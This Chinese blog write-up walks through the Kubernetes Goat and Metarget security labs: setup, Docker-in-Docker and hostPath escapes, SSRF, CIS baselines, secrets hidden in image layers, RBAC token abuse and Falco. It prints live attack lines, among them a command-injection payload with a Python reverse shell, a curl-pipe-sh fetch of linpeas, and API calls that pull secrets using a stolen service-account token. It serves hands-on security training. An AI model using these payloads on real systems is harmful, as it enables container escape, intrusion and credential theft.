云原生靶场kebernetesGoat、Metarget

靶场

文章目录

靶场
- kebernetesGoat
- - 靶场安装
  - Docker in Docker
  - SSRF漏洞
  - 容器逃逸到主系统
  - Docker CIS 基线分析
  - Kubernetes CIS 安全基线分析
  - 分析被部署挖矿软件的容器镜像
  - 获取环境信息
  - Hidden in layers
  - RBAC最低权限配置错误
  - 使用 Sysdig Falco 进行运行时安全监控和检测
- Metarget

kebernetesGoat

Kubernetes Goat 是一款针对 Kubernetes 安全的学习、测试和练习工具，该工具可以给广大研究人员提供一个存在安全缺陷（故意留下漏洞）的集群环境，来帮助广大安全爱好者学习和实践 Kubernetes 安全

项目地址

kubernetes-goat
K8s集群安全攻防(上)
K8s集群安全攻防(下)

靶场安装

K8S靶场KubeGoat部署

安装过程中要注意：1.网络要通畅 2.确保磁盘空间充足

安装 Docker

1.卸载旧版本Docker
sudo apt-get remove docker docker-engine docker-ce docker.io
2.添加阿里云GPG秘钥
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
3.设置存储库
sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"
4.安装docker
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-compose-plugin
5.启动docker
sudo systemctl start docker
sudo systemctl enable docker

安装 minikube

1.安装依赖sudo apt-get install -y apt-transport-https
2.添加阿里GPG
sudo curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | sudo apt-key add -
3.添加阿里apt源
sudo tee /etc/apt/sources.list.d/kubernetes.list <<-'EOF' 
deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main 
EOF
sudo apt-get update
4.安装kubelet
sudo apt-get install -y kubectl
5.添加用户到docker组
sudo usermod -aG docker $USER && newgrp docker
6.安装mibikube
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube
# 其他系统版本的 https://minikube.sigs.k8s.io/docs/start/
7.启动mibikube
minikube start --image-mirror-country=cn --image-repository=registry.cn-hangzhou.aliyuncs.com/google_containers --kubernetes-version=1.23.8 --force
注：结合docker使用时，k8s版本最好不要用1.24及以上版本，k8s从1.24版本开始不在直接兼容docker，需要安装cri-docker。8.配置alias
sudo vim .bashrcalias minikube.cn="minikube start --image-mirror-country=cn --image-repository=registry.cn-hangzhou.aliyuncs.com/google_containers --kubernetes-version=1.23.8"
启动生效
source .bashrc

验证查看 pod

kubectl get pods -A

安装 kubegoat

1.安装helm
通过官方apt方式进行安装
curl https://baltocdn.com/helm/signing.asc | gpg --dearmor | sudo tee /usr/share/keyrings/helm.gpg > /dev/null
sudo apt-get install apt-transport-https --yes
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/helm.gpg] https://baltocdn.com/helm/stable/debian/ all main" | sudo tee /etc/apt/sources.list.d/helm-stable-debian.list
sudo apt-get update
sudo apt-get install helm查看helm版本
helm  version2.拉取kubegoat仓库
git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
bash setup-kubernetes-goat.sh 3.查看容器运行状况
查看容器是否均运行成功
kubectl get pod

将资源公开
```
bash access-kubernetes-goat.sh
```

访问 1234 端口就可以

Docker in Docker

描述：大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中，我们尝试利用并获得对宿主机系统的访问权限。

存在一个命令执行的页面，可以拼接执行任意命令

截屏2024-01-19 10.27.03

如果要利用docker in docker 进行逃逸，前提是在docker容器运行的时候把docker.sock套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock套接字文件，我们就可以通过 Docker Socket与宿主机的Docker 服务进行通信，我们可以通过它创建新的容器，并把宿主机的目录挂载到新创建的容器中，这样我们就能访问宿主机的资源了

使用mount命令查看是否挂载了docker.sock套接字文件

截屏2024-01-19 10.29.48

发现确实存在挂载行为，接下来如果这台主机可以访问互联网，可以直接下载docker可执行程序，去执行命令

;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
下载文件路径可以替换成我们的vps

解压下载的文件，执行命令

截屏2024-01-19 10.25.21

然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令

截屏2024-01-19 11.00.36

或者可以直接使用 python 反弹 shell

127.0.0.1;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另一端使用 nc 监听

ncat -lvvp 4444

截屏2024-01-19 11.05.35

切换交互式终端

python  -c "import pty;pty.spawn('/bin/bash')"

运行linepeas枚举系统

curl -L http://192.168.8.128:8000/linpeas.sh | sh

截屏2024-01-19 11.12.02

找到 docker.sock 文件

截屏2024-01-19 11.16.04

同样使用上传文件的方法可以实现 docker 逃逸

SSRF漏洞

场景描述：SSRF（服务器端请求伪造）漏洞是云原生环境的首选攻击方式。在此场景中，我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息

截屏2024-01-19 11.24.02

可以看到内部有一个http://metadata-db服务，访问后看到有一个latest的路径，我们继续访问http://metadata-db/latest/

截屏2024-01-19 11.26.21

可以发现好几个路径，通过枚举尝试，最终在http://metadata-db/latest/secrets/kubernetes-goat中发现了关键信息：

截屏2024-01-19 11.27.16

base64 解密

截屏2024-01-19 11.31.22

通过使用 ssrf 绕过 api 接口访问限制，访问敏感接口如：etcd、apiserver

容器逃逸到主系统

场景描述：大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中，我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod，它允许我们访问宿主机系统并提供节点级配置，这样会带来可以获取整个集群控制权限的危害。

访问 1233 端口，是一个 web ssh

危险挂载提权

由于用户使用较为危险的挂载将物理机的路径挂载到了容器内，从而导致逃逸

查看当前权限确定该容器具有主机系统的完整权限

发现当前用户为 root ，运行在 docker 容器中
df -Th 查看挂载信息

mount 查看挂载，发现host-system目录是挂载了宿主机的根目录
```
mount | grep host
```
发现 /host-system 从主机系统安装
```
ls -al
ls /host-system/
```
可以用chroot切换到宿主机的目录，获取对宿主机系统的权限访问
```
chroot /host-system bash
docker ps
```
目的是控制整个Kubernetes集群，查看Kubernets节点级配置文件
然后我们可以利用配置文件获取集群内的所有资源
```
kubectl --kubeconfig /etc/kubernetes/kubelet.conf  get all -n kube-system 
```
如果没有 kubectl 需要下载并给执行权限

Docker CIS 基线分析

场景描述：该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析，以识别可能存在的安全漏洞。

首先需要部署docker bench security将它启动为DaemonSet

 kubectl apply -f scenarios/docker-bench-security/deployment.yaml

截屏2024-01-19 15.12.37

访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。

截屏2024-01-19 16.42.46

然后，可以根据 Docker CIS 安全基线测试中看到的漏洞进行进一步的利用或修复

Kubernetes CIS 安全基线分析

场景描述：本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析，识别可能存在的安全漏洞。

首先，我们在节点上部署kube-bench security为Kubernetes job

kubectl apply -f scenarios/kube-bench-security/node-job.yaml
kubectl apply -f scenarios/kube-bench-security/master-job.yaml

截屏2024-01-19 16.50.09

查看kube-bench-node-xxxxx pod 的日志

然后，可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用

分析被部署挖矿软件的容器镜像

针对基础设施的挖矿攻击越来越流行。尤其是像 Kubernetes 这样的环境很容易成为目标，因为你甚至看不到容器镜像到底是基于什么构建的，以及它在主动监控方面做了什么。在此场景中，我们将分析和识别被植入挖矿软件的容器镜像。

首先，确定 Kubernetes 集群中的所有资源/镜像和包括作业。

kubectl get pods

标识Kubernetes群集内的所有资源。尽可能详细了解集群内所有节点中可用的每个容器镜像的详细信息

一旦我们确定了在Kubernetes集群中运行的作业，就可以通过运行以下命令来获取Pod信息

kubectl describe job batch-check-job

截屏2024-01-19 16.57.44

获取pods信息：

kubectl get pods --namespace default -l "job-name=batch-check-job"

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

获取pod信息manifest（在Kubernetes中对象使用ManiFest YAML或JSON 来定义，就像 docker-compose.yaml 文档）并分析：

kubectl get pod batch-check-job-xxxx -o yaml

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以看到Docker镜像名称是madhuakula/k8s-goat-batch-check

然后通过docker history查看镜像的构建历史记录：

docker history --no-trunc madhuakula/k8s-goat-batch-check

截屏2024-01-19 17.40.35

发现它在其中一层的构建中植入了恶意挖矿脚本

curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup     && chmod +x /usr/bin/system-startup

如果发现使用 docker 命令看不到 k8s 的容器及镜像，如需要minikube link 到现有的docker 配置，需要执行最后一条 eval 命令

[root@localhost docker]# minikube docker-env
export DOCKER_TLS_VERIFY="1"
export DOCKER_HOST="tcp://192.168.99.101:2376"
export DOCKER_CERT_PATH="/root/.minikube/certs"
# Run this command to configure your shell:
# eval $(minikube docker-env)

获取环境信息

场景描述：Kubernetes 中的每个环境都会有很多信息要共享。包括Secrets、API Keys、配置、服务等等关键内容。所以让我们继续收集关键信息！

收集系统关键信息

id
cat /proc/self/cgroup
cat /etc/hosts
mount
ls -la /home/
printenv  # 获取环境变量，包括 Kubernetes Secret 的 K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3 和服务名称、端口等

Hidden in layers

场景描述：敏感信息泄露是普遍存在的最常见漏洞之一。在容器化世界中，密码、私钥、令牌等很容易被错误处理。此场景下，我们将分析和识别导致敏感信息泄露等此类处理不当的不良做法之一

执行以下命令，开始本次场景：

kubectl get jobs

截屏2024-01-19 17.22.18

尝试浏览运行容器中的所有文件、环境变量等。接下来，尝试用不同的工具分析上面使用的镜像，以找到暴露的敏感信息

kubectl get pods --all-namespaces -l "job-name=hidden-in-layers"

截屏2024-01-19 17.27.27

尝试浏览运行容器中的所有文件、环境变量等。接下来，尝试用不同的工具分析上面使用的镜像，以找到暴露的敏感信息

获取详细信息：

kubectl get pod hidden-in-layers-cts6h -o yaml

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

使用docker cli分析镜像信息

docker inspect madhuakula/k8s-goat-hidden-in-layers

截屏2024-01-19 17.44.04

可以看到镜像设置了容器启动时要执行的一些命令。但获取的信息还太少，继续探索。

如果我们了解这个镜像是如何从头开始构建的，也许对我们会更有帮助。如果你有 dockerfile，可以直接分析镜像的 dockerfile。如果没有，可以通过其他几种方法分析

方法一：查看构建历史

docker history --no-trunc madhuakula/k8s-goat-hidden-in-layers

截屏2024-01-19 17.55.01

可以看到一个 secret.txt 文件比较敏感

方法二，通过镜像反向生成dockerfile

可以通过alpine/dfimage 工具生成指定镜像的dockerfile

alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers

截屏2024-01-22 16.20.50

截屏2024-01-22 16.21.36

方法三，使用Dive工具

Dive 是一个非常棒的工具，可以帮助分析镜像的每一层。https://github.com/wagoodman/dive，dive：一款按层分析docker镜像的工具

Kali 安装

wget https://github.com/wagoodman/dive/releases/download/v0.4.1/dive_0.4.1_linux_amd64.deb
sudo apt install ./dive_0.4.1_linux_amd64.deb

使用方法如下

dive madhuakula/k8s-goat-hidden-in-layers

截屏2024-01-22 16.33.08

可以发现 secret.txt 和 contribution.txt 两个文件比较可疑，镜像启动时会删除 secret 文件，先运行容器查看 contribution.txt 文件

kubectl run hell --rm --restart=Never -it --image=madhuakula/k8s-goat-hidden-in-layers -- sh

截屏2024-01-22 16.39.59

没有什么东西，现在要去恢复 secret.txt 文件，首先使用docker save把镜像导出为文件

docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar

解压出来：

tar -xvf hidden-in-layers.tar

可以看到每个层都被导出为一个单独的tar文件。这个镜像有3层，所以有3个tar文件。这里因为只有3层，所以很容易提取所有的层并检查内容，但如果镜像有上百层，这个方法就不太好用了

通过 dive 可以看到 secret 层 id 为 2a679 开头，添加了secret.txt文件，所以我们解压这一层的tar进行文件分析

截屏2024-01-22 16.45.33

截屏2024-01-22 16.48.50

RBAC最低权限配置错误

场景描述：在现实世界中，们经常看到开发人员和 devops 团队往往会提供超出需求的额外权限。这种情况发生时，攻击者获得了比他们预期的更多的控制权和特权。在此场景中，你可以利用绑定到 pod 的 serviceaccount 提供的 webhookapikey 访问权限。但这也会让攻击者可以控制和获取敏感资源。获得对 vaultapikey 的访问权限

截屏2024-01-23 10.19.07

此部署具有映射了过度许可策略/访问权限的自定义服务帐户。作为攻击者，我们可以利用这一点来访问其他资源和服务

由于Kubernetes默认情况下将所有secrets、tokens和service accounts 信息都存储在一个固定的目录包含访问集群资源的凭证，直接访问这个目录查找敏感信息

在Kubernetes中，Secrets、Tokens和Service Accounts是敏感信息，其权限需要根据实际使用场景进行细粒度的控制。以下是一些通用的最小权限原则：

Secrets权限：
kubectl权限： 通常，只有具有kubectl命令行工具权限的用户或服务账户才能访问Secrets。
Pod权限： 只有运行在同一Namespace中的Pod才能访问该Namespace下的Secrets。在Pod的spec中使用serviceAccountName字段指定使用的Service Account。

Service Accounts权限：
Role-Based Access Control (RBAC)： 使用RBAC规则授予Service Accounts最小必需的权限。为Service Account分配适当的ClusterRole或Role，确保其仅能够执行其任务所需的操作。
Namespace限制： Service Account的权限通常是限定在特定Namespace内的。确保Service Account仅能够访问其所在Namespace的资源。

Token权限：
Bearer Token认证： Kubernetes API Server使用Bearer Token进行认证。确保Bearer Token只分发给具有最小权限的实体，以避免滥用。
RBAC： Bearer Token的权限受到RBAC规则的限制，确保Token只能执行授予的操作。

Pod权限：
Service Account授权： Pod通过挂载Service Account Token的方式来使用Service Account的身份进行API访问。Pod的Service Account需要拥有足够的RBAC权限。

cd /var/run/secrets/kubernetes.io/serviceaccount/
ls -la

截屏2024-01-23 10.22.22

现在可以使用这些信息与 Kubernetes API 服务进行交互，该服务具有对令牌的可用权限和特权

依次设置环境变量分别指向内部 API 服务器主机名：

export APISERVER=https://${KUBERNETES_SERVICE_HOST}

设置 ServiceAccount 令牌的路径

export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

读取 pods namespace 并将其设置为变量。namespace应该是 big-monolith，如果它是default，你需要将 Kubernetes-goat 更新到最新版本（https://github.com/madhuakula/kubernetes-goat/commit/d068966ae481df55caed818c7cfc14867c1e42a1）

export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)

指定读取ServiceAccount持有者令牌

export TOKEN=$(cat ${SERVICEACCOUNT}/token)

指定在cURL请求查询时要使用的证书路径

export CACERT=${SERVICEACCOUNT}/ca.crt

然后就可以使用令牌和构造的查询来访问 Kubernetes API了

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

因为 Kubernetes 本身是利用 API 服务来创建、删除 pod 等操作的，所以你可以尝试并利用所有可能的 Kubernetes 操作

查询default命名空间中的secrets

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets

截屏2024-01-23 11.07.58

查询特定命名空间中的pod

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods

截屏2024-01-23 11.10.14

获取 k8svaultapikey

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey

截屏2024-01-23 11.11.48

使用 Sysdig Falco 进行运行时安全监控和检测

场景描述：这个场景是为容器和Kubernetes资源部署运行时安全监控和检测

要开始使用此方案，你需要使用helm v3进行部署

https://falco.org/zh-cn/docs/

# helm3 install(可选项)
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update# 创建namespace
kubectl create ns falco# 下载好离线 helm chart包
wget https://github.com/falcosecurity/charts/releases/download/falco-3.8.7/falco-3.8.7.tgz# 一键式helm命令安装Falco
# 正式安装需要去掉  --dry-run --debug
helm -n falco install falco ./falco-3.8.7.tgz --set falco.jsonOutput=true --set falco.json_output=true --set falco.http_output.enabled=true --set falco.http_output.url=http://falco-falcosidekick:2801/ --set falcosidekick.enabled=true --set falcoctl.artifact.install.enabled=false --set falcoctl.artifact.follow.enabled=false --dry-run --debug# 卸载
helm -n falco uninstall falco

kubernetes-goat(K8S靶场)
通过Kuberneters Goat学习K8S安全（上）
通过Kuberneters Goat学习K8S安全（下）

Metarget

项目文档：https://github.com/Metarget/metarget/blob/master/README-zh.md

Metarget 的初衷之一是方便安全研究人员在漏洞出现的第一时间快速搭建漏洞环境，实现“云原生组件”和“云原生应用”的脆弱场景

使用 Metarget 搭建 zabbix cve-2020-11800 漏洞环境

# 1.先安装 docker 或 k8s，domestic 使用国内镜像
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic 
# 2.安装漏洞环境，verbose 方便调试， --external 对外开放
./metarget appv install cve-2020-11800 --verbose --external
# 3.删除环境
./metarget appv remove cve-2020-11800

启动之后使用 kubectl 确定端口

kubectl get service --all-namespaces

查看服务运行状态

kubectl get pods --all-namespaces

有些环境可能会启动失败，失败删除也可能失败，使用 kubectl 命令删除 k8s 服务

# 1.如果无法删除，使用 kubect 命令删除 deployment 控制器
kubectl -n <namespace-name> delete deployments --all
如果您有一个 Deployment 控制器管理着一些 Pod，当您手动删除一个 Pod 时，Deployment 控制器会检测到 Pod 数量不匹配，并尝试重新创建一个新的 Pod 来替换被删除的 Pod，以此来维持期望的状态
# 2.删除命名空间中的所有 Pod：
kubectl -n <namespace-name> delete pods --all
# 3.删除命名空间中的所有 Service：
kubectl -n <namespace-name> delete services --all